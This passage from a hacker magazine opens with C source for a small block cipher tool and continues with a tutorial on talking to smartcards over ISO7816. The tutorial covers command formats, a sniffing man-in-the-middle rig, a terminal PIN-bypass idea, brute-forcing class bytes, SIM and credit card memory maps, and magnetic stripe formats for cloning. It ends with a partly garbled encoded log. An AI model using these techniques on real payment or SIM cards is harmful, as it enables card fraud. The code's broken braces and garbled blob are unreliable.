    cnt = data->length;
    memset(block, 0, 16);
    for (; cnt > 0; data->data += DPA_BLOCK_SIZE, cptr += DPA_BLOCK_SIZE)
    {
        if (cnt < DPA_BLOCK_SIZE)
        {
            memcpy(block, data->data, cnt);
            memset(block + cnt, 0, DPA_BLOCK_SIZE - cnt);
        }
        else
            memcpy(block, data->data, DPA_BLOCK_SIZE);

        blockchain(block, xblock);
        for (j = 0; j < 16; ++j)
            E(key->subkey[j].key, block, key->subkey[j].shift);
        memcpy(xblock, block, DPA_BLOCK_SIZE);
        memcpy(cptr, block, DPA_BLOCK_SIZE);
        cnt -= DPA_BLOCK_SIZE;
    }
    memset(block, 0, DPA_BLOCK_SIZE);
    if (data->length % DPA_BLOCK_SIZE)
        block[DPA_BLOCK_SIZE - 1] = DPA_BLOCK_SIZE - data->length % DPA_BLOCK_SIZE;
    blockchain(block, xblock);
    for (j = 0; j < 16; ++j)
        E(key->subkey[j].key, block, key->subkey[j].shift);
    memcpy(cptr, block, DPA_BLOCK_SIZE);
}

```

8< - - - - 8< - - - - 8< - - - - 8< - - - - 8< - - - - 8< - - - -

```

/* usage.c */
#include <stdio.h>
#include <stdlib.h>
#include <sysexits.h>
#include <unistd.h>

void usage(void)
{
    fprintf(stderr, "usage: dpa -a action -m mode -k key -d data -o outfile\n");
    fprintf(stderr, "      dpa -s filename\n");
    fprintf(stderr, "\taction can be : encrypt, decrypt\n");
    fprintf(stderr, "\tmode can be   : ecb, cbc\n");
    fprintf(stderr, "\tkey can be    : \"key\" or file:/path/to/keyfile\n");
    fprintf(stderr, "\tdata can be   : \"data\" or file:/path/to/datafile\n");
    fprintf(stderr, "\toutfile can be: \"-\" (stdout) or a filename\n");
    fprintf(stderr, "\twhen -s is used, a checksum of filename is computed\n");
    exit (EX_USAGE);
}

8<- - - - 8<- - - - 8<- - - - 8<- - - - 8<- - - - 8<- - - -
/* main.c */
#include <stdio.h>
#include <string.h>
#include <sysexits.h>
#include <unistd.h>

#include "include/dpa.h"

int main(int argc, char *argv[])
{
    int kflag;
    int dflag;
    int sflag;
    int mflag;
    int aflag;
    int oflag;
    int opt;
    int mode;
    int action;
    char *output;
    DPA_KEY key;
    DPA_DATA data;
    DPA_DATA cipher;

    mode = DPA_MODE_ECB;
    action = DPA_ENCRYPT;
    output = "-";
    mflag = aflag = kflag = dflag = sflag = oflag = 0;
    while ((opt = getopt(argc, argv, "a:m:k:d:o:s:")) != -1)
    {
        switch (opt)
        {
            case 'a':
                if (!strcmp(optarg, "enc") || !strcmp(optarg, "encrypt"))
                    action = DPA_ENCRYPT;
                else if (!strcmp(optarg, "dec") || !strcmp(optarg, "decrypt"))
                    action = DPA_DECRYPT;
                else
                {
                    fprintf(stderr, "unknown action, expected encrypt or decrypt\n");
                    return (EX_USAGE);
                }
            }
        }
    }

```

```

        aflag = 1;
        break;

    case 'm':
        if (!strcmp(optarg, "ecb"))
            mode = DPA_MODE_ECB;
        else if (!strcmp(optarg, "cbc"))
            mode = DPA_MODE_CBC;
        else
        {
            fprintf(stderr, "unknown mode, expected ecb or cbc\n");
            return (EX_USAGE);
        }
        mflag = 1;
        break;

    case 'k':
        if (strncmp(optarg, "file:", 5) || strlen(optarg) == 5)
            DPA_set_key(&key, (unsigned char *)optarg, strlen(optarg));
        else
            DPA_set_keyfile(&key, optarg + 5);
        kflag = 1;
        break;

    case 'd':
        if (strncmp(optarg, "file:", 5) || strlen(optarg) == 5)
            DPA_set_data(&data, (unsigned char *)optarg, strlen(optarg));
        else
            DPA_set_datafile(&data, optarg + 5);
        dflag = 1;
        break;

    case 'o':
        output = optarg;
        oflag = 1;
        break;

    case 's':
        DPA_set_datafile(&data, optarg);
        sflag = 1;
        break;

    default:
        usage();
    }
}

if ((!aflag || !mflag || !kflag || !dflag) && !sflag)
    usage();

if (sflag)
{
    DPA_set_ciphertext(&data, &cipher, DPA_MODE_CBC, DPA_ENCRYPT);
    DPA_sum(&key, &data, &cipher);
    DPA_sum_write_to_file(&cipher, output);
}
else
{
    DPA_set_ciphertext(&data, &cipher, mode, action);
    if (action == DPA_ENCRYPT)
    {
        if (mode == DPA_MODE_ECB)
            DPA_ecb_encrypt(&key, &data, &cipher);
    }
}

```



```

        else if (mode == DPA_MODE_CBC)
            DPA_cbc_encrypt(&key, &data, &cipher);
    }
    else if (action == DPA_DECRYPT)
    {
        if (mode == DPA_MODE_ECB)
            DPA_ecb_decrypt(&key, &data, &cipher);
        else if (mode == DPA_MODE_CBC)
            DPA_cbc_decrypt(&key, &data, &cipher);
    }
    DPA_write_to_file(&cipher, output);
}
return (EX_OK);
}

```

|=[EOF]=====|

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x0f of 0x10

|=====| Introduction for Playing Cards for Smart Profits |=-----|
|-----|
|=====| ender <ender@afturgurluk.org> |=-----|

--=[Contents]-----

- 1 - Introduction
- 2 - Dealing with ISO7816 standard
 - 2.1 - Receiving Answer To Reset
 - 2.2 - Sending commands
 - 2.3 - Receiving answers
 - 2.4 - For example
- 2.5 - Your Rights
- 3 - SmartCard Man in the middle
- 4 - BruteForcing unidenfited cards
- 5 - Examples of mapping and filesystem
 - 5.1 - Mapping of old french Credit cards
 - 5.2 - File System of SIM Cards
- 6 - Cyphering with smartcards
- 7 - Magnetic stripe
 - 7.1 - ISO
 - 7.2 - ALPHANUMERIC
 - 7.3 - BINARY
- 8 - Synchronous smartcards
- 9 - Programming a card for ISO7816 purposes
- 10 - Conclusion
- 11 - Greetings
- 12 - Bibliography

Appendix A: Communication log

--[1 - Introduction]-----

All what is written in this article must be used for cracking cards and shouldn't be used to secure already existing application. However, the aim of this article is to show you how to engage the dialog with

your smartcards (very useful when you don't have a girlfriend to talk with), and not the way to use already cracked cards.

What you need for studying card is :

- THE standard : ISO7816
(http://www.cardwerk.com/smartcards/smartcard_standards.aspx)
- a smartcard reader (Phoenix)
- optionally a Reader/Writer for magnetic stripes (just for fun).
- maybe a Season -I will explain later-,
- some bank cards,
- and a computer:
 - Under Linux/Unix : you can check for shcap
(www.afturgurluk.org/~ender/)
or try SmartCard ToolKit
(<http://freshmeat.net/projects/sctk/>)
 - Under bill's non-operating system : WinExplorer from Dexter
(www.geocities.com/Winexplorer/)

--[2 - Dealing with ISO7816 standard]-----

You will need to refer to this standard. Here we will see how to engage the communication with a smartcard plugged in your phoenix (smartcard reader), which is plugged in your rs232 port. I have put two examples with : a credit card, and a SIM card. If no specific card is mentionned in the presentation of the protocol, it means that the information is valid for all 7816 ISO compliant cards.

----[2.1 - Receiving Answer To Reset (ATR)]-----

First, you will need to reset the card (with an ioctl, or directly typing 'reset' in a smartcard shell) to boot the card, then it sends a data buffer to identify itself, and to explicit its specifications such as the frequency, the programming voltage, the GuardTime the Convention (inverse/direct)... What is really useful to know is :

The ATR looks like that :

ATR : TS T0 TA1 TB1 TC1 TD1 TA2 ... TDn Tk TCK

TS : 3B Direct Convention
3F Inverse Convention

T0 : gives the number of Historical Bytes (specific to the card)

TD : gives the protocol (mostly T=0 send Word, T=1 send Characters)

Tk : The k Historical Bytes... not really verbose in fact :/

TCK : Just a checksum to verify you have a good ATR...

Nota : If you don't receive 0x3B or 0x3F for TS, maybe you must reconfigure your soft to receive Byte in another convention...

----[2.2 - Sending commands]-----

The instructions are send to the card via a serial link. The protocol is explained in the standard but is mereley like an I2C without scl. The packets are composed with five parts :

CLA : 1 Byte. ISO Class. e.g. :

BC = french credit cards,

A0 = SIM cards,

00 = Moneo/Open cards...

INS : 1 Byte. Instruction. e.g.:

20 = PIN verification,

B0 = Read

B2 = Read record

D0 = Write

DC = Write record

A4 = Select directory

8x = Encryption with key 'x', the algorithms depends on the card,

C0 = Get answer...

P1, P2 : 2 Bytes. Parameters, mostly it's an address to read/write.

LEN : 1 Byte. Length expected for the answer or lenght of the argument

ARG : LEN Byte. Argument you give for the instruction (bytes to write, data to cypher, PIN to verify...), sometimes, the card must answer a byte of acknowledgement -depending on the instruction- between each bytes in the argument buffer.

----[2.3 - Receiving answers]-----

To aknowledge to a command, the card send the instruction byte back to the terminal, then a length of datas equal to the parameter LEN of the command, and finish with SW1, SW2. (0x90 0x00 when the operation was succesful). If the operation wasn't successful, then only SW1 and SW2 are sent, with a specific error code :

0x6E 0x00	CLA error
0x6D 0x00	INS error
0x6B 0x00	P1, P2 error
0x67 0x00	LEN error
0x98 0x04	Bad PIN
0x98 0x08	Unauthorized Access
0x98 0x40	Card blocked
...	

----[2.4 - For example]-----

Here are some examples taken from shcap. You can download it from

<<http://www.afturgurluk.org/~ender/shcap.tgz>> .

But you can do the same with 7816shell <<http://freshmeat.net/projects/sctk/>>

If you use Shcap :

oops:~/7816/shcap_rel\$ sudo ./shcap

Terminal> help

Shcap v0.0.9 by ender <ender@afturgurluk.org>

connect	- Connect to the Serial port given with -D parameter
XX .. XX	- Send XX .. XX to the card
log	- Log comm between card and terminal (need a season)
bf	- Try to find ISO CLA byte of the card
reset	- Reset the card
direct	- Set direct convention
inverse	- Set inverse convention
cd XX XX	- Select directory XX XX

```

cat XX XX          - Read rd_len bytes at address XX XX
readrec XX         - Read rd_len on record XX of current file
get N              - Get N bytes of the answer
login              - Verify PIN given
cypher XX .. XX    - Cypher 8 Bytes
set                - Set parameter :
                    cla=XX    Set the iso class to XX (default 00)
                    key=X     Set the cyphering key to X (default 0)
                    rd_len=N  Set the read lenght to N (default 8)
                                timeout=N Set the poll timeout to
Nms (default 500ms)
help               - Display this help
quit               - Exit the shell

```

Example with a Bull CP8 mask 4 BO' (french credit card)

Terminal> connect

Reset for a B4/B0' :

ATR: 3F 65 25 08 93 04 6C 90 00

Analysing the ATR :

```

3F - Convention inverse
6  - TB and TC sent (if TD is not sent, the protocol is 0 : send words)
5  - 5 historical Bytes
25 - TB : Programming current : max 50mA - Programming Voltage 5V
08 - TC : GuardTime : 8 * 1/9600Hz = 833us

```

Historical Bytes

93 04 6C 90 00 --Note that the 90 00 change to 90 10 after a first wrong PIN code

Reading Constructor Area of a B4/B0' :

Terminal> set cla=bc

ISO CLASS set to BC

Terminal> set rd_len=8

READ LENGHT set to 8

Terminal> cat 09 C0

--Read at \$09C0 8 bytes

Card> B0 19 DF 64 08 1F F4 0F B0 90 00

Analysing Constructor Area :

```

19 DF 64 08 : Card Serial Number
1FF4 / 0FB0 : Free Read area : $07F8 / Access Control : $03E8
90 00      : ok

```

Signing Data with salt in [07E8] :

Terminal> set key=0

KEY set to 0

--Cipher 8 Bytes with K0

Terminal> cypherCB 09 11 15 04 16 00 07 E8

Card> 90 00

--ARG=09 11 15 04 16 00 [07 E8]

--Instruction ok

Getting response :

Terminal> get 8

Card> C0 12 4F 54 A3 64 C5 2B 07 90 00

--Get answer 8 bytes

--12 4F 54 A3 64 C5 2B 07 ok

Example with a SIM card for GSM

Terminal> set cla=a0

ISO CLASS set to A0

```

Verifying PIN 12345678 on a SIM :
Terminal> login                                --Check PIN 8 Bytes
Enter your PIN code : 12345678                --The PIN is encoded in ASCII
Card> 90 00                                    --PIN ok

Selecting /TELE
COM/SMS/ directory in a SIM :
Terminal> cd 7f 10                             --Select TELECOM dir : 7F 10
Card> 9F 16                                    --Dir description, 20Bytes
Terminal> cd 6f 3c                             --Select SMS subdir : 6F 3C
Card> 9F 0F                                    --Dir description, 15Bytes

Reading msg (15 Bytes) :
Terminal> get 15                                --Get 15 Bytes
Card> C0 00 00 ** ** 6F 3C ** ** ** ** ** ** ** ** ** ** ** 90 00

Reading the 3rd SMS of current file :
Terminal> set rd_len=176
READ LENGHT set to 176

Terminal> redrec 3                             --Read record 3, 176Bytes
Card> B2 00 FF .. FF 90 00                     --status = 00, data=0xff..ff
Terminal> quit

```

Well. That's all for the examples...not really difficult, isn't it ?

--[2.5 - Your Rights]-----

SmartCards use some kind of filesystems, so there are some rights (xrw) for the different areas are files. The right to execute is obviously for instructions only...

Generally, for a single-provider card, there are three levels :


- Nobody, when you boot the card you are not yet identified...
- Owner, you are "logged in" when you enter your PIN
- Provider, there is another code named PUK you can't know. It is used for example when you stupidly block your card, to reset the blocking mechanism.

In a SIM card (at least, the SIM card I have worked on), you cannot read or write if you didn't login. When you enter (the instruction name is verify) the PIN, then you can read, and even write in some files (mostly in TELECOM directory, containing your SMS, your dialing numbers, etc.).

In credit cards, which are divided in areas, you need the PIN just to read/write your Transaction Bulletin (at least for french ones... It is also a major security hole if the PIN is not verified dynamically by the bank).

--[3 - SmartCard Man in the middle]-----

Something which is very useful for studying smartcards is a Season :




```

|_____|-----/-----RS232-->| 3F 16 15 |
|_____|

```

You need to connect 6 wires from your smartcard to a Wafer, but only 3 to your computer. If you have read the standard, you now that there is only one pin dedicated to the Input/Output. You also need to connect the ground (useful to have a reference...) and the Reset pin in order to start logging when the card boots. It will permit you to log the dialog between the terminal and the smartcard. This the most common way to analyse a smartcard when you have an access to the terminal, but you might want to study the terminal with a logic analyser awfully expensive and reverse the results on the screen of your oscilloscope (might sound very silly, but someone did that :p). If for some reasons you don't have any physical access to the terminal, report to next part.

The scheme for a season is quite simple, you can add some LEDs to see what is going on. The MAX232 is here to convert the 5V from the card pins to the 12V of the RS232 link of your computer (or laptop ;).



Scheme for a season

ISO Pins		DB9 Pins				
1. Vcc	5. Gnd	1	2	3	4	5
2. Rst	6. Nc	DCD RxD		TxD		GND
3. Clk	7. I/O	6	7	8	9	
4. Nc	8. Nc					

Don't forget to add 4 x 0.1uF between pins 2-16, 15-6, 1-3 and 4-5 of the MAX232. You can refer to the MAX232 datasheet for more details (ascii scheme are not that clear...)

Now you have to log the data, just write somewhere on your hard drive the datas sent and received by the card. You can try this with the 'log' command in shcap, or with the program 7816logger from sctk.

The real problem is to analyse these datas.

- * Firstly, the card send an ATR (which stand for Answer To Reset).

- * Now that the terminal know the identity of the card, it can send instructions composed firstly of 5 bytes.

- * Then the card repeat the code of the instruction and the terminal can send the argument buffer if it is not empty, then the card can answer,

- * et caetera...

You can try to search the ISO class (sent just after the ATR) and try to indent your log with just this information, and the knowledge of the "protocol" as explained earlier...

After that, you should be able to recreate the behaviour expected by the terminal, excepted for the cryptographic instructions... but this is another problem. You have surely heard of S/DPA (Single/Differential Power Analysis), DFA (Differential Fault Attack) or Time Attack which are the current means for retrieving "easily" the keys stored inside cards. But this is not our topic.

Obviously, if you want to make an attack against a terminal with such a system, you can : by overriding the real card, recording what the card must answer, and processing the answer before replaying. The processing could be used, for example, to make the terminal believe the PIN you entered was the good one (because you are evil and you are trying a card which is not yours), by putting the card in standby and reproducing the behaviour of the card as if the PIN was really the good one...

It only works if the authentication system of the smartcard doesn't need the PIN for generating the certificate, which is not really common. Well, if you can reproduce the authentication, it is not necessary to do such an attack, because you can get rid of the original card, but it is not an easy way ;)

You can find at the end of the article an exemple of a communication between a credit card and a terminal. The datas inside the cards are not always obvious to guess. Generally, you can hope to find an official documentation somewhere, or try to see the changes that happen between each use of the card.

--[4 - BruteForcing unidenfited cards]-----

When you don't know the ISO class of the card you want to play with, you can bruteforce the iso class. It is not very difficult if your computer is able to count from 0x00 to 0xFF.

By retrieving the error codes from the card, you know the class is the good one because the card send you an INS Error (6D 00), instead of a CLA error (6E 00).

So you've got it. And instructions are public, so I put some examples upper, and others are in the ISO7816, and on the Internet...
<http://www.cardwerk.com/smartcards/smartcard_standard_ISO7816-4.aspx>
<http://www.cardwerk.com/smartcards/smartcard_standard_ISO7816-4_6_basic_interindustry_commands.aspx>

To guess the architecture of a card is a different matter. Always try the instruction 0xB0 to see if you can read some addresses, and you'll can interpret the error messages if you cannot read. If the smartcard has got a filesystem, you can verify it with selecting (ins 0xA4) the root directory 0x3F00, and see what is going on. Get the response to see if there are some other directories.

As you know the error code for a P1 P2 wrong (bad address) you also can try to evaluate the capacity of the card: 8ko ? 64 ko ?. It works only if there is no filesystem, like in credit cards... See for examples down here :

--[5 - Examples of mapping and filesystem]-----

----[5.1 - Mapping of old french Credit cards]-----

Bull CP8 mask B0-B0'

\$1000	Constructor area
\$09C0	FREE READ
\$07F8	Transaction Bulletin
\$03E8	ACCESS COUNTER
\$02B0	SECRET AREA
\$0200	N/A
\$0000	

----[5.2 - File System of SIM Cards]-----

--GSM SIMcard

3F00 ROOT dir

|
| __2FE2 Card serial Number

7F10 TELECOM

|
| __6F3A Directory
| __6F3B Fixed directory
| __6F3C SMS
| __6F40 Last calls
| __6F42 SMS pointer
| __6F43 SMS status
| __6F44 Dialing numbers
| __6F4A Extension 1
| __6F4B Extension 2

7F20 GSM

|
| __6F05 Language
| __6F07 IMSI
| __6F20 Cyphering Key
| __6F30 Provider selector
| __6F31 Search Period
| __6F37 Account Max
| __6F38 Sim Service Table
| __6F39 Cumulated calls
| __6F3D Capability Config Param
| __6F3E Group ID 1
| __6F3F Group ID 2
| __6F41 Price per unit
| __6F45 Cell Broadcast msg ID
| __6F74 Broadcast Control Chan
| __6F78 Access Control Class
| __6F7B Providers Forbidden
| __6F7E Location Info
| __6FAD Admin data
| __6FAE Phase ID

Then, you can log the communication between your SIM card and your mobile phone if you want more information ;)

--[6 - Cyphering with smartcards]-----

All smartcards can cypher or generate a certificate to authenticate itself to a terminal or a provider. Mostly the instructions 0x80 to 0x8F are used to do it. To get the answer, just ask for it with the 0xC0 instruction.

Open cards are made particularly to such things. Open means you can find all the documentation you want about it on the Internet (www.opensc.org), so I won't stay on it...

The encryption system in smartcards is mostly to authenticate the card. But all its security do not depends only on the cryptographic mechanisms inside the card. The protocol is generally the weak part of the authentication...

--[7 - Magnetic stripe]-----

Magnetic stripes on smartcards are very common. As this is a completely passive way of authentication, it can easily be cloned. However, it also means that all the difficulty is in the interpretation of the data contained in the stripes and the understanding of the algorithms for cyphering discretionary data in the case you might want to generate your own card, or just change some information.

You will need for this part of a magnetic stripe reader. It is quite expensive but it is also possible to make its own driver and do it with just a tape recorder. You can try [cmread http://www.afutgurluk.org/~ender/cmread.tgz](http://www.afutgurluk.org/~ender/cmread.tgz) for a driver on LPT1.

Depending on your software and hardware, you will have more or less easily these informations : the density of encoding, and the number of bits per character. For the number of bits per character, if you have read with the good number of bits without errors, then you have to check the parity bits. Normally, the soft you used to read the stripe is able to do such a thing, other wise the method consist in :

- Take the first bit equal to 1
- Check the parity on the first 5 bit
- If it is not OK, then try with 6,7,8 or 9
- Try on the next pack of [5,6,7,8,9] till the end.
- Check the LRC

There are two ways for detecting error, the first is with the parity bits, the second is the LRC for Longitudinal Redondancy Check. The character of the track is equal to the XOR of all characters.

There are 3 different cases easily recognizable :

----[7.1 - ISO]-----

ISO-1 (210 bpi - 7 bits) : The stripe is divided in several parts :

- '%' Start sentinel
- 'B' Format code
- Primary account number (your account number on your credit card for example)
- '^' Field separator
- Name of the owner
- Field separator
- Expiration date (4 BCD numbers)
- Service Code (101 for VISA, ...)
- Discretionary data
- '?' End Sentinel
- LRC

Example :

% B 0123456789012345 ^ MR SMITH JOHN ^ 9910 101
123456789000000123000000 ?

It is not compulsory exactly like that, but it cannot differ a lot.

ISO-2/3 (75 bpi - 5 bits):

- ';' Start Sentinel
- Primary Account Number
- '=' Field separator
- Expiration date
- Service code
- Discretionary data
-
- '?' End Sentinel
- LRC

Example:

; 01236789012345 = 9910 101 123456789000000123 ?

Note that the PAN (Primary Account Number) must verify the Luhn Algorithm.

The standard is ISO-7811 if you want more information...

----[7.2 - ALPHANUMERIC]-----

It is quite like ISO, but a bit less verbose. You just have the same Start sentinel depending on the number of the track (1 : '%', 2 & 3 : ';'), the same Field Separators, and End Sentinel. Between Start and End Sentinels, you have data coded in BCD or ALPHA separated by the field separator of the track related.

----[7.3 - BINARY]-----

Keep in mind that there is not necessarily a structure like that. Sometimes bit are put in disorder, as if the designer of the stripe was completely drunk and was playing dice with friends to know what to do... Just use your card and try to understand what has changed.

--[8 - Synchronous smartcards]-----

I just put this part in order to do a complete tour on smartcards. This type of card is very lame, They have a poor capacity (less than 1kb in general), they don't always respect ISO standard for pins. What is sure is that you have 2 pins for Vcc and the ground, 1 pin for the Clock, 1 pin for the reset, 1 pin for the I/O, and sometimes 1 pin for the Vpp (programming voltage) and 1 pin for the Write Enabled.

They don't have an ATR. They just react on negative edges of the Clock pin by sending the next bit (or first if it is reseted) in its memory on the I/O pin. If you can write, you will need a different voltage put on the Vpp pin (up to 21V) and enable the Write pin. Generally, you just can set a bit from 1 to 0 because of the OTP (One Time Programmable) technology used inside (you just flash a fuse in the chip).

French telephone cards use such a technology (Merci, France Telecom.) ;)

--[9 - Programming a card for ISO7816 purposes]-----

If you can read this line, it is because Phrack has accepted my article without asking me to paste some of my codes to write a bloody tutorial to code your own smartcard emulator using a pic from microchip (www.microchip.com) and then you will need to think by yourself if you are interested in how to write such programs (it is not very obvious...). As I am nice and gentle, I give you the most common architecture :

- Send the ATR (On each reset it will restart here)

[illegible]

[illegible]

M(#@P("@"("@"/"TM(&]N(#(W(#H@-30T+#'P(\$9R#0H@("@" ,S,@13`@1#@@
M-C@@("@"("``+2T@;VX@,C@@.B`U-30L,#`@1G(-"B`@("`S,R!%,`!!1B!#
M."@"("@"(#PM+2!O;B`R."`Z(#0T-RPT-"!&<@T*("@"(#,S(\$4X(\$-#(#0V
M("@"("@"/"TM(&]N(#(Y(#H@-3(R+#DT(\$9R#0H@("@" ,S,@13@@044@-S0@
M("@"("``+2T@;VX@,CD@.B`T-#8L-C`@1G(-"B`@("`S,"`P,"`Y.2`Q,B`@
M("@"(#PM+2!\$=7)I;F<@;6]N=&@@;V8@,3(O.3D-"B`@("`S,R`Q."`S,B!#
M."@"("@"(#PM+2!O;B`P,R`Z(#\$S,"PP,"!&<@T*("@"(#,S(#(P(\$)&(#8X
M("@"("@"/"TM(&]N(#`T(#H@-#DP+#'P(\$9R#0H@("@" ,S,@1#@@.48@-#(@
M("@"("``+2T@;VX@,C<@.B`T,#<L-S`@1G(-"B`@("`S,"`P,"`P,B`P,2`@
M("@"(#PM+2!\$=7)I;F<@;6]N=&@@;V8@,#\$O,#(-"B`@("`S,R`P."`R-R`Q
M,"@"("@"(#PM+2!O;B`P,2`Z(#\$P,"PP,"!&<@T*("@"(\$9&(\$9&(\$9&(\$9&
M("@"("@"/"TM(\$9I<G-T(&5M<'1Y('=O<F0-"B`@("`N+B`N+B`N+B`N+@T*
M("@"(\$9&(\$9&(\$9&(\$9&(`T*("@"(#DP(#`P(`T*#0H@("@" /CY"OR!",`P
M-"!!."!&0R``+2T@1F]L;&]W:6YG(&]F(')E861I;F<@0414#0H@("@"0C`@
M#0H@("@"1D8@1D8@1D8@1D8@#0H@("@"+BX@+BX@+BX@+BX-"B`@("!&1B!&
M1B!&1B!&1B`-"B`@("`Y,"`P,"`-"@T*("@"(#X^0D,@0C`@,#8@03`@1D,@
M/"TM(\$%G86EN(\$%\$5`T*("@"(\$P(`T*("@"(\$9&(\$9&(\$9&(\$9&(`T*("@"
M("XN("XN("XN#0H@("@"1D8@1D8@1D8@1D8@#0H@("@"-C8@,#0@,3`@
M13,@("@"("``+2T@36%X:6UU;2!F;W(@<&%Y;65N=`T*("@"(#<S(#-\$(\$)"
M(\$\$P("@"("@"/"TM(\$-A<V@<&%Y;65N=``Z(#DP,#`L,#`@1G(@979E<GD@
M-R!D87ES#0H@("@"3`@,#`@#0H-"B`@("``/D)#(\$P(#`X(#DX(#(T(&9O
M;&QO=VEN9R`H96YD(&]F(&%D="D-"B`@("!",`@"#0H@("@"-S4@-S0@.3,@
M13`@("@"("``+2T@0W)E9&ET(#,P,#`L,#`@1G(@979E<GD@-R!D87ES#0H@
M("@"-S<@-S0@.3,@13`@("@"("``+2T@0V%S:"`S,#`P+#`P(\$9R(&5V97)Y
M(#<@9&%Y<PT*("@"(#<Y(#<T(#DS(\$4P("@"("@"/"TM(%9I<F5M96YT<R`S
M,#`P+#`P(\$9R(&5V97)Y(#<@9&%Y<PT*("@"(#9%(\$Q(#`T(\$4S("@"("@"
M/"TM(!E<G-O;FYA;&ES871I;VX@87)E80T*("@"(#<Q(#@S(#`Q(#\$P("@"
M("@"/"TM(\$1A>2`Z(#\$X,RP@3&]C871I;VX@,#\$L(!E<G-O;FYA;&ES871O
M<B`Q,`T*("@"(#9%(#`P(#`X(\$4R("@"("@"#0H@("@"1D8@1D8@1D8@1D8@
M#0H@("@"-S`@1D8@.\$8@1D8@("@"("``+2T@1VQ08F%L(\$-H96-K<W5M#0H@
M("@"1D8@1D8@1D8@1D8@#0H@("@"3`@,#`@#0H-"B`@("``/D)#(\$P(#`S
M(#\$P(#`T(`T*("@"(\$P(`T*("@"(\$9&(\$9&(\$9&(\$9&("@"("@"/"TM(&9I
M<G-T(&5M<'1Y('=O<F0@:6X@0414(#H@,#,@,3`-"B`@("`Y,"`P,"`-"@T*
M("@"(#X^0D,@1#`@,#,@,3`@,#0@/"TM(%=R:71T:6YG('1R86YS86-T:6]N
M#0H@("@"D8@(`T*("@"(#X^,S-"B`@("R1B`-"B`@("``/C<P#0H@("@"
M,D8@#0H@("@" /CXR-PT*("@"(#)&(`T*("@"(#X^,3`@("@"("@"("@"
M/"TM(#,S(#<P(#(W(#\$P+"!"=7D@,3`P+#`P(\$9R('1H92`P>#<P+S@],31T
M:"!J86X@,C`P,@T*("@"(#DP(#`P(`T*#0H@("@" /CY"OR!",`P,R`Q,"`P
M-"``+2T@4F5A9&EN9R!W<FET=&5N('1R86YS86-T:6]N#0H@("@"0C`@#0H@
M("@" ,S,@-S`@,C<@,3`@("@"("@"#0H@("@"3`@,#`@#0H-"B`@("``/D)#
M(#<P(#`S(#\$P(#`P(#PM+2!686QI9&%T92!W<FET=&EN9PT*("@"(#<P(`T*
M("@"(#DP(#`P(`T*#0H@("@" /CY"OR!",`P,R`Q,"`P-"``+2T@5F5R:69Y
M:6YG('9A;&ED871E("AV86QI9&%T:6]N(&)I="!I<R`](\$@.RD-"B`@("!"
M,"`-"B`@("`S,R`W,"`R-R`Q,"`-"B`@("`Y,"`P,"`-"@T*+RHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ
M+B2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM
M+2TM+2T-"B`@("``/D9&("@"("@"("@"("@"("@"("@"/"TM(%)E
M<V5T#0H@("@"T8@-C4@,C4@,#@@,88@,#0@-D,@.3`@,#`@(#PM+2!!5%(@
M*\$%N<W=E<B!4;R!297-E="D-"BTM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM
M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2T-"@T*("@"(#X^0D,@
M0C`@,#D@1C`@,#0@#0H@("@"0C`@#0H@("@"-#0@0S(@.\$\$@,\$4@("@"("``
M+2T@4F5A9&EN9R!#4TX-"B`@("`Y,"`P,"`-"@T*("@"(#X^0D,@0C`@,#D@
M-3`@,#0@#0H@("@"0C`@#0H@("@" ,S`@,#0@.3<@,3\$@("@"("``+2T@4F5A
M9&EN9R!B96=I;FYI;F<@;V8@4\$%.(&9O<B!304Q4#0H@("@"3`@,#`@#0H-
M"B`@("``/D)#(#@T(#`P(#`P(#`X(#PM+2!#>7!H97)I;F<@*#-R9"!K97DI
M+"!386QT(#T@,#D@-3`-"B`@("W0B`-"B`@("``/C(V#0H@("@"-T(@#0H@
M("@" /CY\$1@T*("@"(=#(`T*("@"(#X^138-"B`@("W0B`-"B`@("``/C)"
M#0H@("@"-T(@#0H@("@" /CY&0PT*("@"(=#(`T*("@"(#X^1C\$-"B`@("W
M0B`-"B`@("``/C`Y#0H@("@"-T(@#0H@("@" /CXU,"`@("@"("@"("``
M+2T@,C8@1\$8@138@,D(@1D,@1C\$@6S`Y(#4P70T*("@"(#DP(#`P(`T*#0H@

M("`@/CY"OR!#, "`P, "`P, "`P. "`\+2T@4F5S=6QT#0H@("`@0S`@(`T*("`@
M(#(V(\$1&(\$4V(#)("\$9#(\$8Q(#`Y(#4P(`T*("`@(#DP(#`P(`T*#0H@("`@
M/CY"OR!", "`P.2`V. "`P-"`B`@("!", "`B`@("`S,2`P,2`Y.2`Q,2`@
M("`@(#PM+2!296%D:6YG(&9A8G)I8V%T:6]N(&1A=&4@9F]R('`-A;'0-"B`@
M("`Y, "`P, "`-"`@T*("`@(#X^OD, @. #0@, #`@, #`@, #@@/"TM(\$-Y<&AE<FEN
M9RP@<V%L="`](#`Y(#8X#0H@("`@-T(@#0H@("`@/CXX, `T*("`@(#="(`T*
M("`@(#X^.\$(-"B`@("`W0B`-"B`@("`^/D8Y#0H@("`@-T(@#0H@("`@/CXY
M, @T*("`@(#="(`T*("`@(#X^-"B`@("`W0B`-"B`@("`^/C8T#0H@("`@
M-T(@#0H@("`@/CXP.0T*("`@(#="(`T*("`@(#X^-"C@@("`@("`@("`@("`@
M/"TM(#@P(#A)(\$8Y(#DR(#OW(#8T(%LP.2`V.%T-"B`@("`Y, "`P, "`-"`@T*
M("`@(#X^OD, @0S`@, #`@, #`@, #@@/"TM(\$=E="!R97-U;'0-"B`@("!, "`X
M, "`X0B!&.2`Y, B`T-R`V-"`P.2`V. "`B`@("`Y, "`P, "`B`@("`B`@
M("`^/D)#(\$P(#`Y(#<P(#`T(#PM+2!296%D:6YG(&5X<&ER871I;VX@9&%T
M92!F;W(@<V%L=`T*("`@(\$P(`T*("`@(#, R(#4P(#`R(#`Q(`T*("`@(#DP
